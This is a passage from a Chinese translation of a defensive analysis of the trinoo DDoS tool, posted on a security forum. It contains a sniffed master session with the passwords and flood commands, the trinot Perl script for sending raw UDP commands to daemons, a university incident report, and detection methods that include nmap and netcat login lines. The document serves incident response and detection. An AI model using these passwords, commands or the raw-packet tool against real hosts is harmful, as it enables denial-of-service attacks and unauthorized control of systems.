trinoo仅仅提供UDP攻击,而TFN可以提供ICMP,UDP,SYN和欺骗式攻击,并且它的命令是通过
ICMP_ECHOREPLY (ICMP Type 0) 包发送的。同trinoo类似的,TFN也提供Blowfish加密。(T
FN将在另一篇文章中分析)

分析到此为止,但毫无疑问的这些工具将变得更强大,更隐蔽,使用更强的加密手段,加密
通讯过程,使用难以被防火墙监控ICMP包来传输等等。

--
David Dittrich <dittrich@cac.washington.edu> http://staff.washington.edu/dittrich/ 

附录A:用"ngrep"进行嗅探的例子
-------------------------------
# ngrep -x ".*" tcp port 27665 or udp port 31335 or udp port 27444
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( tcp port 27665 or udp port 31335 or udp port 27444 )
match: .*
#
U 192.168.0.1:32892 -> 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a *HELLO* 
#
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
ff f4 ff fd 06 ..... 
######
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone..
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f
33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a x/]... 
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo> 
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
62 63 61 73 74 0d 0a bcast.. 
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
4c 69 73 74 69 6e 67 20 42 63 61 73 74 73 2e 0a Listing Bcasts..
0a . 
###
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
31 39 32 2e 31 36 38 2e 30 2e 31 2e 20 20 20 0a 192.168.0.1.
0a 45 6e 64 2e 20 31 20 42 63 61 73 74 73 20 74 .End. 1 Bcasts t
6f 74 61 6c 2e 0a 74 72 69 6e 6f 6f 3e 20 otal..trinoo> 
##
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
6d 74 69 6d 65 72 20 31 30 30 30 0d 0a mtimer 1000.. 
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting 
74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t
6f 20 31 30 30 30 2e 0a o 1000.. 
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
62 62 62 20 6c 34 34 61 64 73 6c 20 31 30 30 30 bbb l44adsl 1000
##
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
6d 74 69 6d 65 72 3a 20 53 65 74 74 69 6e 67 20 mtimer: Setting 
74 69 6d 65 72 20 6f 6e 20 62 63 61 73 74 20 74 timer on bcast t
6f 20 31 30 30 30 2e 0a o 1000.. 
###
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo> 
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
6d 73 69 7a 65 20 33 32 30 30 30 0d 0a msize 32000.. 
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
72 73 7a 20 33 32 30 30 30 rsz 32000 
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo> 
###
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
64 6f 73 20 32 31 36 2e 31 36 30 2e 58 58 2e 59 dos 216.160.XX.Y
59 0d 0a Y.. 
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
44 6f 53 3a 20 50 61 63 6b 65 74 69 6e 67 20 32 DoS: Packeting 2
31 36 2e 31 36 30 2e 58 58 2e 59 59 2e 0a 16.160.XX.YY.. 
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
61 61 61 20 6c 34 34 61 64 73 6c 20 32 31 36 2e aaa l44adsl 216.
31 36 30 2e 58 58 2e 59 59 160.XX.YY 
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo> 
##
T 192.168.100.1:1074 -> 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a quit.. 
#
T 10.0.0.1:27665 -> 192.168.100.1:1074 [AP]
62 79 65 20 62 79 65 2e 0a bye bye.. 
###
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
62 65 74 61 61 6c 6d 6f 73 74 64 6f 6e 65 0d 0a betaalmostdone..
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 20 76 31 2e 30 37 64 32 2b 66 trinoo v1.07d2+f
33 2b 63 2e 2e 5b 72 70 6d 38 64 2f 63 62 34 53 3+c..[rpm8d/cb4S
78 2f 5d 0a 0a 0a x/]... 
###
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 3e 20 trinoo> 
###
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
6d 70 69 6e 67 0d 0a mping.. 
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
6d 70 69 6e 67 3a 20 53 65 6e 64 69 6e 67 20 61 mping: Sending a
20 50 49 4e 47 20 74 6f 20 65 76 65 72 79 20 42 PING to every B
63 61 73 74 73 2e 0a casts.. 
#
U 10.0.0.1:1025 -> 192.168.0.1:27444
70 6e 67 20 6c 34 34 61 64 73 6c png l44adsl 
##
U 192.168.0.1:32894 -> 10.0.0.1:31335
50 4f 4e 47 PONG 
##
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
74 72 69 6e 6f 6f 3e 20 50 4f 4e 47 20 31 20 52 trinoo> PONG 1 R
65 63 65 69 76 65 64 20 66 72 6f 6d 20 31 39 32 eceived from 192
2e 31 36 38 2e 30 2e 31 0a .168.0.1
##
T 192.168.100.1:1075 -> 10.0.0.1:27665 [AP]
71 75 69 74 0d 0a quit.. 
#
T 10.0.0.1:27665 -> 192.168.100.1:1075 [AP]
62 79 65 20 62 79 65 2e 0a bye bye.. 
------------------------------------------------------------------------------

附录B--trinot脚本

------------------------------- cut here -----------------------------------
#!/usr/bin/perl -w
#
# trinot v. 1.1
# By Dave Dittrich <dittrich@cac.washington.edu>

# Send commands to trinoo daemon(s), causing them to PONG, *HELLO*
# to all their masters, exit, etc. Using this program (and knowledge
# of the proper daemon password), you can affect trinoo daemons
# externally and monitor packets to verify if the daemons are up,
# expose their masters, or shut them down.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./trinot host1 [host2 [...]]
# ./trinot -S host
# ./trinot -p password -P host
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek <ian.vitek@infosec.se>)

require 'getopts.pl';
use Net::RawIP;

$a = new Net::RawIP({udp => {}});
chop($hostname = `hostname`);

Getopts('PSDp:f:s:d:l:i:vh');
die "usage: $0 [options] host1 [host2 [...]]\
\t-P\t\t\tSend \"png\" command\
\t-S\t\t\tSend \"shi\" command\
\t-D\t\t\tSend \"d1e\" command (default)\
\t-p password\t\t(default:\"l44adsl\")
\t-f from_host\t\t(default:$hostname)\
\t-s src_port\t\t(default:random)\
\t-d dest_port\t\t(default:27444)\
\t-l ipfile\t\tSend to IP addresses in ipfile\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );

# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$s_port = ($opt_s) ? $opt_s : int rand 65535;
$d_port = ($opt_d) ? $opt_d : 27444;
$pass = ($opt_p) ? $opt_p : "l44adsl";

# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}

$cmd = ($opt_P) ? "png $pass" :
($opt_S) ? "shi $pass" :
($opt_D) ? "d1e $pass" :
"d1e $pass";
$s_host = ($opt_f) ? $opt_f : $hostname;

if ($opt_l) {
open(I,"<$opt_l") || die "could not open file: '$opt_l'";
while (<I>) {
chop;
push(@ARGV,$_);
}
close(I);
}

foreach $d_host (@ARGV) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
udp => {source => $s_port, dest => $d_port, data => $cmd}
});
print "sending '$cmd' to $d_host\n" if $opt_v;
$a->send;
}

exit(0);
------------------------------- cut here -----------------------------------

附录C--参考目录
----------------

TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary
R. Wright., Addison-Wesley.

lsof:
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/

tcpdump:

ftp://ftp.ee.lbl.gov/tcpdump.tar.Z

hunt: http://www.cri.cz/kra/index.html 

sniffit: http://sniffit.rug.ac.be/sniffit/sniffit.html 

ngrep: http://www.packetfactory.net/ngrep/ 

loki client/server:
Phrack Magazine, Volume Seven, Issue Forty-Nine,
File 06 of 16, [ Project Loki ] http://www.phrack.com/search.phtml?view&article=p49-6 

Phrack Magazine Volume 7, Issue 51 September 01, 1997,
article 06 of 17 [ L O K I 2 (the implementation) ] http://www.phrack.com/search.phtml?view&article=p51-6 

LibNet: http://www.packetfactory.net/libnet/ 

Net::RawIP: http://quake.skif.net/RawIP 

crack: http://www.crypto.dircon.co.uk/ 

Password cracking utilities: http://packetstorm.securify.com/Crackers/ 

targa.c: http://packetstorm.securify.com/exploits/DoS/targa.c 

附录D 一次trinoo进攻的小型报告
-------------------------------

The following is an abbreviated version the initial report sent out by
Susan Levy Haskell of the University of Minnesota. This report,
which only concerns a small time span in the three day attack, showed
227 unique attacking systems, 114 of which were at Internet 2 sites.
(The actual list of attacking systems, all of which are also root
compromised victims in their own right, have been removed. A complete
report of all unique attacking IP addresses over the three day period
is not available.)

Just to show what a large trinoo network could do, consider that a file
(named "owned.log") containing 888 IP addresses was found same location
as the trinoo source code analyzed here (which is assumed to be the same
code as that used for the attack). Another file in that directory
(named "216") contains addresses of 10549 systems on 216.0.0.0/8
netblocks, and is assumed to be a list of potential targets for
compromise and trinoo daemon/master installation. Rumors on Usenet
newsgroups and Slashdot put the number of systems controlled by this
group in the 3000+ range.

----------------------------------------------------------------------------
Hello:

This is a notification that a system at your site apparently was used in
a large-scale UDP flood on a system at the University of Minnesota. The
hosts below have been involved in a series of escalating large-scale
denials-of-service that are flooding the University of Minnesota off the
internet. They are periodic, but expanding in the number of hosts used
to attack.

We would like to hear about it if you can confirm whether your system(s)
were used. We're also *very* interested in any information about this
tool (since it appears to be new, and quite effective). Thus far, all
hosts used in this attack appear to have been Solaris 2.x systems that
were compromised using the recently-announced rpc.cmsd exploits (see http://www.cert.org/advisories/CA-99-08-cmsd.html for detai
ls).

The following are lists of hosts apparently used, and the period of use.
We're certain about the timestamps--they're in CDT (-500)--but as with 
all such floods, they ramp up and tail off. Since we're getting data in 
ten-minute slices, the times are approximate. 

The floods use unforged source IPs and consistent UDP source-ports. The
destination ports are random, aimed at 160.94.196.192.
The packets are 32-byte UDP (and each flow represents many packets).

I've included profile information below, rather than log excerpts,
because these run to many GB. If you would like Cisco net-flow excerpts
to demostrate the behavior, please reply to this message & ask.

All attacks have been launched at 160.94.196.192 (irc2.tc.umn.edu).
And, as I mentioned, all times are in CDT (-500) from an ntp-slaved log
host (for the ten-minute segments).

Thank you.

-susan
--
Susan B. Levy Haskell / sblh@nts.umn.edu / voice: (612) 626-8639
Security Incident Response Coordinator fax: (612) 626-1002 
Networking and Telecommunications Services, University of Minnesota
*** To report a security incident in progress, call (612) 625-0006 ***
=================================================

附录E--检测trinoo的深层方法
---------------------------

Authors: David Brumley <dbrumley@stanford.edu>
David Dittrich <dittrich@cac.washington.edu>
George Weaver <gmw@psu.edu>

Detecting Trinoo

Currently Trinoo has several signatures that allow it to be detected from
IP flow records. 

Trinoo Daemon (ns.c) -
1. The trinoo daemon by default listens to UDP port 27444
2. All communication with the trinoo daemon must have the string l44
(ell 44).
3. The SYN flood mechanism picks the destination port via the following
algorithm:
to.syn_port = htons(rand() % 65534)

Several observations can be made:
a. randomize()/srandom() is never called, so the destination port
will always fit the following algorithm:
SYN packet 1 has destination port x
SYN packet 2 has destination port y as defined by
srandom(x); y = rand();
SYN packet 3 has destination port z as defined by
srandom(y); z = rand();
b. Since the port is a result of modulus 65534, destination port 0
will show up, while destination port 65535 will not.

IDS detection of daemon:
1. Look for UDP connections to destination port 27444. This is indicative
of the control session.
2. The string l44 will determine with a large probability that the packet
is part of a trinoo control session.
3. Running trinoo DoS attacks (SYN Floods) can be identified by the
algorithm given in 3 above. In addition, if you can catch the first SYN,
it will *always* be the result of srand(1); rand();. On one authors
laptop, an example sequence of destination ports would be:
32540
48264
58208
56084
46021
37263
6890
38941
17766
40714

Although this doesn't stop the Denial of Service, it will say with some
probability this is a trinoo attack, and you should start looking for a
master!

Detecting the trinoo daemon on your network:
1. Trinoo daemons can be indexed by a master by sending a png command.
Live daemons will respond with a PONG. The original author probably added
this so the master can see which daemons are still alive. You can scan a
network with the attached program for anything that responds appropriately
(which chances are is a trinoo daemon).

Trinoo Server (master.c) -
The network communications that are indicative of a trinoo server are:
1. Sending UDP packets with destination port 27444
2. UDP packets as described above with the string l44adsl (ell 44 a d s
ell)
3. A server will bind to port 27665

IDS detecting the trinoo server:
1. Look for flows with protocol type 17 (UDP)
2. TCP connections (protocol type 6) to destination port 27665 (the trinoo
server)

Detecting the Trinoo server of your network:
1. The server password hasn't changed (to the best of the authors
knowledge), nor has the port it listens to. Trinoo possible masters can
be detected by using a tool like nmap to find hosts listening to port
27665, i.e.
nmap -PI -sT -p 27655 -m logfile "you.subnet.*.*"
After a list of possible servers has been compiled, automated login can be
used for positive identification. If you wish to script the automated
login, try netcat (nc on most systems), i.e.
echo "betaalmostdone" | nc <IP> 27665

NOTE:
Your mileage may vary with the random number prediction since it's very
host specific - what does rand() really return? Consult your
documentation.

欢迎访问http://Editserver.6to23.com/ 

转载时请保持以上信息完整,谢谢


地主 发表时间: 04/13 21:50

回复: xiaojun [xiaojun]   剑客   登录
此篇意义甚大。热衷DoS研究者,不可不看。

B1层 发表时间: 04/14 23:09

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号